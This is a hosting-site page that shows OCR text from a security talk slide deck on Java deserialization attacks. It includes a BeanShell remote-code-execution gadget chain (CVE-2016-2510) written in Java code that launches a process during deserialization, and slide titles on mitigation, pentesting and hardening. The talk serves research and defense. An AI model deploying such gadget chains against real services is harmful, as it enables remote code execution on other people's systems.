Serial Killer Silently Pwning Your Java Endpoints

More documents

Recommendations

Info

New RCE Gadget in BeanShell (CVE-2016-2510) bsh.XThis$Handler <strong>Serial</strong>izable Invoca@onHandler Upon func@on intercep@on custom BeanShell code will be called Almost any <strong>Java</strong> code can be included in the payload In order to invoke the payload a trigger gadget is needed 12
New RCE Gadget in BeanShell (CVE-2016-2510) 1 String payload = "compare(Object foo, Object bar) {" + 2 " new java.lang.ProcessBuilder(new String[]{\"calc.exe\"}).start();return 1;" + 3 "}"; 4 5 // Create Interpreter 6 Interpreter i = new Interpreter(); 7 i.eval(payload); 8 9 // Create Proxy/InvocationHandler 10 XThis xt = new XThis(i.getNameSpace(), i); 11 InvocationHandler handler = (InvocationHandler) getField(xt.getClass(), "invocationHandler").get(xt); 12 Comparator comparator = (Comparator) Proxy.newProxyInstance(classLoader, new Class[]{Comparator.class}, handler); 13 14 // Prepare Trigger Gadget (will call Comparator.compare() during deserialization) 15 final PriorityQueue priorityQueue = new PriorityQueue(2, comparator); 16 Object[] queue = new Object[] {1,1}; 17 setFieldValue(priorityQueue, "queue", queue); 18 setFieldValue(priorityQueue, "size", 2); 13
Page 1 and 2: Chris;an Schneider Serial Killer: S
Page 3 and 4: Standing on the Shoulder of Giants
Page 5 and 6: AWack Surface Usages of Java serial
Page 7 and 8: Triggering Execu;on via "Magic Meth
Page 9 and 10: Exploi;ng "Magic Methods" But what
Page 11: Exploi;ng Invoca;onHandler (IH) Gad
Page 15 and 16: New RCE Gadget in Jython (CVE pendi
Page 17 and 18: Exis;ng Mi;ga;on Advice Simply remo
Page 19 and 20: Exis;ng Mi;ga;on Advice Simply remo
Page 21 and 22: How did vendors handle this recentl
Page 23 and 24: Is this for real or is this just fa
Page 25 and 26: Now with home delivery javax.media.
Page 27 and 28: Is it just Java Serializa;on? XStre
Page 29 and 30: XStream, can you run readObject()?
Page 31 and 32: Who Should Check for What? 1. Check
Page 33 and 34: High-Level Gadget Categories Gadget
Page 35 and 36: What to Check During Pentests? DAST
Page 37 and 38: Ac;ve Vulnerability Scanning Some B
Page 39 and 40: How to Harden Your Applica;ons? DO
Page 41: Chris;an Schneider @cschneider4711

Serial Killer Silently Pwning Your Java Endpoints

You also want an ePaper? Increase the reach of your titles

Delete template?

Save as template?